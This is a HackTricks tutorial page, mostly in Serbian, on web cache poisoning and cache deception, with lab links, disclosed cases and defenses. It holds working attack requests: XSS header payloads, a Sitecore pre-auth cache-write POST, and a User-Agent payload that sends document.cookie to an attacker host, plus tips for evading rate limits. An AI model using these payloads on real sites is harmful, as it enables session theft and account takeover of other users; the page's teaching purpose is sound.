Cache Poisoning and Cache Deception
Reading time: 17 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Razlika
Koja je razlika između web cache poisoning i web cache deception?
- Kod web cache poisoning, napadač navodi aplikaciju da sačuva zlonamerni sadržaj u kešu, i taj sadržaj se iz keša poslužuje drugim korisnicima aplikacije.
- Kod web cache deception, napadač navodi aplikaciju da sačuva osetljivi sadržaj koji pripada nekom drugom korisniku u kešu, a zatim napadač povlači taj sadržaj iz keša.
Cache Poisoning
Cache poisoning ima cilj manipulaciju keša na strani klijenta kako bi primorao klijente da učitaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer se zagađeni odgovor poslužuje isključivo korisnicima koji posete stranicu tokom perioda kontaminacije keša.
Izvođenje cache poisoning napada uključuje nekoliko koraka:
- Identifikacija neključnih ulaza (unkeyed inputs): To su parametri koji, iako nisu potrebni da bi se zahtev keširao, mogu izmeniti odgovor koji vraća server. Identifikovanje ovih ulaza je ključno jer se mogu iskoristiti za manipulaciju kešom.
- Eksploatacija neključnih ulaza: Nakon identifikacije, sledeći korak je otkriti kako zloupotrebiti te parametre da se izmeni odgovor servera na način koji pogoduje napadaču.
- Osiguravanje da je zagađeni odgovor keširan: Krajnji korak je obezbediti da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupi pogođenoj stranici dok je keš zagađen, dobiće kompromitovani odgovor.
Otkrivanje: Proverite HTTP zaglavlja
Obično, kada je odgovor sačuvan u kešu, postojaće zaglavlje koje to označava — možete proveriti koja zaglavlja treba da pratite u ovom postu: HTTP Cache headers.
Otkrivanje: Keširanje status kodova grešaka
Ako sumnjate da se odgovor čuva u kešu, možete pokušati da pošaljete zahteve sa lošim zaglavljem, na koje bi trebalo da se odgovori status kodom 400. Zatim pokušajte da pristupite zahtevu normalno i ako je odgovor status kod 400, znate da je ranjivo (i čak biste mogli izvesti DoS).
Možete pronaći više opcija u:
Međutim, imajte na umu da ponekad ovakvi status kodovi nisu keširani, pa ovaj test možda neće biti pouzdan.
Otkrivanje: Identifikujte i ocenite neključne ulaze
Možete koristiti Param Miner da brute-force-ujete parametre i zaglavlja koja mogu menjati odgovor stranice. Na primer, stranica može koristiti zaglavlje X-Forwarded-For
da naznači klijentu da učita skriptu odatle:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Elicit a harmful response from the back-end server
Kada identifikujete parameter/header, proverite kako se sanitizuje i gde se reflektuje ili utiče na odgovor iz header-a. Možete li ga iskoristiti na bilo koji način (izvesti XSS ili učitati JS kod koji vi kontrolišete? izvesti DoS?...)
Get the response cached
Nakon što ste identifikovali stranicu koja može biti zloupotrebljena, koji parameter/header koristiti i kako je zloupotrebiti, potrebno je da stranica bude keširana. U zavisnosti od resursa koji pokušavate da ubacite u cache, ovo može potrajati — možda ćete morati da pokušavate nekoliko sekundi.
The header X-Cache
in the response could be very useful as it may have the value miss
when the request wasn't cached and the value hit
when it is cached.
The header Cache-Control
is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800
Još jedno interesantno zaglavlje je Vary
. Ovo zaglavlje se često koristi da naznači dodatna zaglavlja koja se tretiraju kao deo cache ključa čak i ako inače nisu ključovana. Dakle, ako korisnik zna User-Agent
žrtve koju targetira, on može poison the cache za korisnike koji koriste taj specifični User-Agent
.
Još jedno zaglavlje vezano za keš je Age
. Ono definiše vreme u sekundama koliko je objekat bio u proxy cache-u.
When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it's working.
Exploiting Examples
Easiest example
Zaglavlje poput X-Forwarded-For
se reflektuje u odgovoru bez sanitizacije.
Možete poslati osnovni XSS payload i poison the cache tako da svi koji pristupe stranici budu XSS-ovani:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Napomena: ovo će poison zahtev ka /en?region=uk
, a ne ka /en
Cache poisoning to DoS
Cache poisoning through CDNs
In this writeup it's explained the following simple scenario:
- CDN će cache-ovati sve što je pod
/share/
- CDN neće dekodovati niti normalizovati
%2F..%2F
, stoga se može koristiti kao path traversal za pristup drugim osetljivim lokacijama koje će biti cached kaohttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
- web server će dekodovati i normalizovati
%2F..%2F
, i odgovoriće sa/api/auth/session
, koji sadrži auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies se takođe mogu reflektovati u odgovoru stranice. Ako to možete iskoristiti da, na primer, prouzrokujete XSS, mogli biste iskoristiti XSS u više klijenata koji učitavaju maliciozan cache response.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Imajte na umu da ako je ranjivi cookie često korišćen od strane korisnika, obični zahtevi će čistiti cache.
Generisanje razlika pomoću delimitera, normalizacije i tačaka
Pogledaj:
Cache Poisoning via URL discrepancies
Cache poisoning sa path traversal za krađu API key
Ovaj writeup objašnjava kako je bilo moguće ukrasti OpenAI API key sa URL-om kao https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
jer će sve što odgovara /share/*
biti keširano bez Cloudflare normalizovanja URL-a, što je urađeno kada je zahtev stigao do web servera.
Ovo je takođe bolje objašnjeno u:
Cache Poisoning via URL discrepancies
Korišćenje više header-a za iskorišćavanje web cache poisoning vulnerabilities
Ponekad će vam biti potrebno da iskoristite nekoliko unkeyed inputa da biste mogli zloupotrebiti cache. Na primer, možete naći Open redirect ako postavite X-Forwarded-Host
na domen pod vašom kontrolom i X-Forwarded-Scheme
na http
. Ako server preusmerava sve HTTP zahteve na HTTPS i koristi header X-Forwarded-Scheme
kao ime domena za redirect, možete kontrolisati gde će stranica biti upućena putem tog redirect-a.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Eksploatisanje sa ograničenim Vary
zaglavljem
Ako utvrdite da se X-Host
zaglavlje koristi kao domain name to load a JS resource, ali da Vary
zaglavlje u odgovoru pokazuje User-Agent
. Tada treba da pronađete način da exfiltrate User-Agent žrtve i poison the cache koristeći tog User-Agenta:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Pošaljite GET request sa istim podacima u URL-u i u body-ju. Ako web server koristi onaj iz body-ja, ali cache server kešira onaj iz URL-a, svako ko pristupi tom URL-u će zapravo koristiti parameter iz body-ja. Kao vuln koji je James Kettle pronašao na Github-u:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
For example it's possible to separate parameters in ruby servers using the char ;
instead of &
. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Learn here about how to perform Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
Primer upotrebe: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ovaj realni obrazac povezuje header-based reflection primitive sa ponašanjem CDN/WAF-a kako bi pouzdano zatrovao keširani HTML koji se servira drugim korisnicima:
- Glavni HTML reflektovao je nepouzdani request header (e.g.,
User-Agent
) u izvršni kontekst. - CDN je uklanjao cache headers, ali je postojao interni/origin cache. CDN je takođe automatski keširao zahteve koji se završavaju statičnim ekstenzijama (npr.
.js
), dok je WAF primenjivao slabiju inspekciju sadržaja na GET-ove za statičke assete. - Nepravilnosti u toku zahteva omogućile su da zahtev ka
.js
putanji utiče na cache key/variant koji se koristi za naredni glavni HTML, omogućavajući cross-user XSS putem header reflection.
Praktičan recept (posmatrano na popularnom CDN/WAF-u):
- Sa čistog IP-a (izbegavati prethodna reputaciona degradiranja), postavite zlonamerni
User-Agent
preko browsera ili Burp Proxy Match & Replace. - U Burp Repeater-u, pripremite grupu od dva zahteva i upotrebite "Send group in parallel" (single-packet mode radi najbolje):
- Prvi zahtev: GET
.js
resource path na istom originu dok šaljete zlonamerniUser-Agent
. - Odmah nakon toga: GET glavnu stranicu (
/
).
- CDN/WAF routing trka i automatski keširani
.js
često dovode do pojave zatrovane keširane HTML varijante koja se potom servira drugim posetiocima koji dele iste uslove cache key-a (npr. isteVary
dimenzije poputUser-Agent
).
Primer header payload (za eksfiltraciju non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Mnogi CDN-ovi skrivaju cache zaglavlja; poisoning može postati vidljiv tek nakon osvežavanja u višesatnim ciklusima. Koristite više IP lokacija i throttle da biste izbegli rate-limit ili aktiviranje reputacionih zaštita.
- Korišćenje IP adrese iz same CDN cloud mreže ponekad poboljšava konzistentnost rutiranja.
- Ako postoji strogi CSP, ovo i dalje funkcioniše ako se refleksija izvršava u glavnom HTML kontekstu i CSP dozvoljava inline izvršavanje ili je zaobiđena kontekstom.
Impact:
- Ako session cookies nisu
HttpOnly
, zero-click ATO je moguć masovnim eksfiltriranjemdocument.cookie
od svih korisnika kojima je poslužen poisoned HTML.
Defenses:
- Prestanite reflektovati request headers u HTML; striktno enkodirajte po kontekstu ako je neizbežno. Uskladite cache politike CDN-a i origin-a i izbegavajte variranje na nepoverljivim zaglavljima.
- Osigurajte da WAF dosledno primenjuje inspekciju sadržaja na
.js
zahteve i statičke putanje. - Podesite
HttpOnly
(iSecure
,SameSite
) na session cookies.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl
handler is reached, an xmlcontrol:GlobalHeader
(derived from Sitecore.Web.UI.WebControl
) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Ovo upisuje proizvoljan HTML pod napadačem odabranim cache key-om, omogućavajući precizno poisoning kad su cache keys poznati.
Za potpune detalje (cache key construction, ItemService enumeration i chained post-auth deserialization RCE):
Ranjivi primeri
Apache Traffic Server (CVE-2021-27577)
ATS je prosleđivao fragment unutar URL-a bez čišćenja i generisao cache key koristeći samo host, path i query (ignorišući fragment). Dakle, zahtev /#/../?r=javascript:alert(1)
je poslat backendu kao /#/../?r=javascript:alert(1)
i cache key nije sadržao payload, već samo host, path i query.
GitHub CP-DoS
Slanje neispravne vrednosti u content-type header-u je izazvalo 405 cached response. Cache key je sadržavao cookie pa je bilo moguće napasti samo neautentifikovane korisnike.
GitLab + GCP CP-DoS
GitLab koristi GCP buckets za čuvanje statičkog sadržaja. GCP Buckets podržavaju header x-http-method-override
. Dakle, bilo je moguće poslati header x-http-method-override: HEAD
i poison the cache da vraća prazan response body. Takođe je mogla da bude podržana metoda PURGE
.
Rack Middleware (Ruby on Rails)
U Ruby on Rails aplikacijama često se koristi Rack middleware. Svrha Rack koda je da uzme vrednost header-a x-forwarded-scheme
i postavi je kao scheme zahteva. Kada se pošalje header x-forwarded-scheme: http
, dolazi do 301 redirect-a na istu lokaciju, što potencijalno može prouzrokovati Denial of Service (DoS) za taj resurs. Dodatno, aplikacija može prihvatiti header X-forwarded-host
i preusmeriti korisnike na navedeni host. Ovo ponašanje može dovesti do učitavanja JavaScript fajlova sa napadačevog servera, što predstavlja bezbednosni rizik.
403 and Storage Buckets
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa neispravnim Authorization header-ima je rezultirao 403 odgovorom koji je bio keširan. Iako je Cloudflare prestao da kešira 403 odgovore, ovo ponašanje i dalje može biti prisutno u drugim proxy servisima.
Injecting Keyed Parameters
Keševi često uključuju specifične GET parametre u cache key. Na primer, Fastly-jev Varnish je keširao size
parametar u zahtevima. Međutim, ako bi takođe bio poslat URL-encoded oblik parametra (npr. siz%65
) sa pogrešnom vrednošću, cache key bi bio konstruisan koristeći ispravan size
parametar. Ipak, backend bi obradio vrednost u URL-encoded parametru. URL-encoding drugog size
parametra je doveo do njegovog izostavljanja iz cache-a ali njegove upotrebe od strane backenda. Dodeljivanje vrednosti 0 ovom parametru rezultovalo je cacheable 400 Bad Request greškom.
User Agent Rules
Neki developeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima alata visokog saobraćaja kao što su FFUF ili Nuclei da bi smanjili opterećenje servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su cache poisoning i DoS.
Illegal Header Fields
https://datatracker.ietf.mrg/doc/html/rfc7230 specificira prihvatljive karaktere u imenima header-a. Header-i koji sadrže karaktere van specificiranog tchar opsega bi u idealnom slučaju trebalo da izazovu 400 Bad Request. U praksi, serveri se ne pridržavaju uvek ovog standarda. Značajan primer je Akamai, koji prosleđuje header-e sa nevalidnim karakterima i kešira bilo koju 400 grešku, sve dok cache-control
header nije prisutan. Identifikovan je eksploatabilni obrazac gde slanje header-a sa ilegalnim karakterom, kao što je \
, dovodi do cacheable 400 Bad Request greške.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Cilj Cache Deception je naterati klijente da učitavaju resurse koji će biti sačuvani u cache-u sa njihovim osetljivim informacijama.
Pre svega, imajte na umu da su ekstenzije kao što su .css
, .js
, .png
itd. obično konfigurisane da budu sačuvane u cache-u. Dakle, ako pristupite www.example.com/profile.php/nonexistent.js
cache će verovatno sačuvati odgovor jer vidi .js
extension. Međutim, ako aplikacija odgovara sa osetljivim korisničkim sadržajem koji je generisan iz www.example.com/profile.php, možete ukrasti taj sadržaj od drugih korisnika.
Ostale stvari za testiranje:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
U primeru je objašnjeno da ako učitate nepostojeću stranicu kao http://www.example.com/home.php/non-existent.css sadržaj http://www.example.com/home.php (sa osetljivim informacijama korisnika) će biti vraćen i cache server će sačuvati rezultat.
Zatim, napadač može pristupiti http://www.example.com/home.php/non-existent.css u svom browseru i videti poverljive informacije korisnika koji su pristupili ranije.
Obratite pažnju da cache proxy treba da bude konfigurisana da cache-ira fajlove bazirano na ekstenziji fajla (.css), a ne na content-type. U primeru http://www.example.com/home.php/non-existent.css imaće text/html
content-type umesto text/css
mime type.
Saznajte ovde kako da izvodite Cache Deceptions attacks abusing HTTP Request Smuggling.
Automatski alati
- toxicache: Golang scanner za pronalaženje web cache poisoning ranjivosti u listi URL-ova i testiranje više injection techniques.
Reference
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.